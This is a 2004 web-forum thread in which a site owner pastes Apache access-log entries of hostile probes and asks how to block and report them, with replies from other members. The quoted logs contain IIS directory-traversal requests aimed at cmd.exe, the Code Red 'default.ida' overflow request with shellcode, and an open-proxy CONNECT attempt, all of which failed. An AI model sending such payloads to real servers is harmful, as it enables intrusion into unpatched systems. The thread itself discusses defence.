    can I (or should I ??) modify .htaccess to stop any "SEARCH" ? How will that affect anything else that I may want to do on the website, or legitimate usage by other people ? I can redirect any "414" to a file, maybe a nasty message ?? What are the pros and cons of doing thise ?

    3. I'm getting tired of nuisance people who do this:

    212.241.110.21 - - [30/Jun/2004:21:35:45 -0400] "GET /sumthin HTTP/1.0" 404 - "-" "-"
    again a "404" can be redirected to (say) a PHP file. If the request was 'legitimate' (I may have moved a file, oops), tell them "sorry,etc", but if it is obvious, like people abusing the website, then another message, or agin, try to contact the ISP ?

    Other "404"s like this are just as annoying:

    163.25.56.132 - - [01/Jul/2004:03:32:11 -0400] "GET /scripts/nsiislog.dll" 404 - "-" "-"
    There are a lot of these through Pacbell.net

    4. It's often not just a single "404", but when people do this:

    67.121.165.246 - - [06/Jul/2004:21:36:02 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:02 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:02 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:02 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.121.165.246 - - [06/Jul/2004:21:36:03 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-"
    67.172.64.52 - - [06/Jul/2004:22:04:34 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 - "-" "-"
    67.163.152.166 - - [06/Jul/2004:23:47:03 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 - "-" "-"
    67.119.139.75 - - [07/Jul/2004:02:42:05 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 - "-" "-"
    Maybe my 404.php file should record how many are happening within a time period by the same IP address, and ban them, or take some other type of action ?

    5. People are also trying to connect to the SMTP server I assume with this:

    67.234.73.45 - - [07/Jul/2004:13:40:03 -0400] "CONNECT vmc-ext.prodigy.net:25 HTTP/1.0" 405 231 "-" "-"
    Can I do anything to stop that ?

    6. What is a "408" caused by as follows:

    67.44.58.78 - - [17/Jul/2004:15:23:41 -0400] "-" 408 - "-" "-"
    7. Should I stop "HEAD" methods ?

    195.92.95.109 - - [21/Jul/2004:16:03:34 -0400] "HEAD /icons/apache_pb.gif HTTP/1.0" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
    8. Any good analysuis tools around for automatically going through the web server logs and doing some reporting of any "abuse" back to ISP's or, if possible, the web hosting companies ??

    I find this sort of thing quite time consuming, so if I can keep the "pests" out, and also take some sort of pro-active role in trying to report offenders, then hopefully the web server logs will show me "true" traffic,etc.

    Thanks,

    Peter

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    Why don't you just ban all those IPs from your server?

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    Hi,

    Quote Originally Posted by Jackal05
    Why don't you just ban all those IPs from your server?
    But that is why I called the subject as I did, because IP's can be spoofed or masquaraded, so if I ban an IP, how do I know it is the "offender" ??

    Also, if the IP is used by an ISP for dialup, it could be used, over a period of time, by hundreds, if not thousands, of different users, so banning an IP address where it is a dialup, is disadvantaging many for the sake of one "naughty" person.

    Peter

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    Their IP addresses have changed by now so here is what I suggest, contact their ISPs, send them the proof (the logs of course), the IP used, and time. The ISPs then should be able to shut them down for good.

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    Hi,

    Quote Originally Posted by Jackal05
    Their IP addresses have changed by now so here is what I suggest, contact their ISPs, send them the proof (the logs of course), the IP used, and time. The ISPs then should be able to shut them down for good.
    Yes, I think that is a good idea. I'd like to automate it as much as possible, so that I don't have to spend too much time with it. Possibly design some 'error pages' in PHP, and then add the appropriate commands in .htaccess like:

    Code:
     ErrorDocument 404 http://example.com/404.php
     ErrorDocument 414 http://example.com/414.php
     etc, etc ...
    Then the actual PHP code can email all the details, date, time, IP address,etc,etc to the ISP , and also the php would display an appropriate message, alerting them to the fact that their abuse has been recorded. I'd need to probably pump it all into a database at the time of the "abuse", and then run a cron job at night to (i) get the ISP details, and (ii) email all the details off to the ISP.

    One common pattern I'm seeing is that many of the IP addresses, whether spoofed or not I don't know, are coming from a particular ISP, who use a LOT of nameservers. So, possibly people are hiding behind a lot of proxies, I don't know, ... wild guess.

    Thanks,

    Peter

  16. #16
    SitePoint Zealot Scott.Mc's Avatar
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    Quote Originally Posted by probonic
    It is more than likely that the traffic you're seeing is part of a DDoS (albeit quite a small one). A Distributed Denial of Service attack is where several insecure machines have been compromised and been programmed to send the requests at the same time.
    visitors.
    your waaaaaay off, this is someone scanning your machine to find exploits, usualy these just come and go, with people scanning hundreds if not thousands of sites, the ips change so fast because its a program using a proxy list they are all set to swtich ip after 1 file scan. That is the common scan list you are seeing in your apache logs, where al the 404 attempts they tryed.

    The formmail thing you said its most probley to send out spam, thats wrong too, formmail is a vunrable script, it allows you to post linux commands and have them emailed to you, recent versions of formmail have tryed to stop this with refer urls etc, but this is still no good.

    Reporting to the isp is just going to waist your time, you will get a response saying we have informed these users to clean there computer. or somthing along those lines, so i wouldnt even bother, its just proxys you gota live and let live.

    Since they didnt get any successfull attempts(200) then your fine, just ignore it and move on, no doubt your site is in a url list, which attackers all use, most of them use the same list, so at some point i expect you to get more scans.

    Hard fact to deal with people scanning you, mabe you got a fright, but the truth is they havnt found anything, so they cant do anything, just keep an eye on them for 200 attempts on cgi,php,asp scripts etc, and make sure they havnt found anything.

    -Scott
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    SitePoint Zealot Scott.Mc's Avatar
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    Quote Originally Posted by jehoshua
    Then the actual PHP code can email all the details, date, time, IP address,etc,etc to the ISP , and also the php would display an appropriate message, alerting them to the fact that their abuse has been recorded. I'd need to probably pump it all into a database at the time of the "abuse", and then run a cron job at night to (i) get the ISP details, and (ii) email all the details off to the ISP.
    so what about the people that just make a typo, are they going to get reported then, thats a bit of a bad idea.
    Linux Server Management - AdminGeekZ.com
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    Hi,

    Quote Originally Posted by BreakOutHosting
    so what about the people that just make a typo, are they going to get reported then, thats a bit of a bad idea.
    As websites should only be navigated through links from menus, there is NO excuse for a 'typo', as you put it.

    Peter

  19. #19
    SitePoint Member Smurfs Are Tasty's Avatar
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    I Agree.

    I Agree.

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    The ISPs usually keep a record of who used which IP when from the last 90 days.


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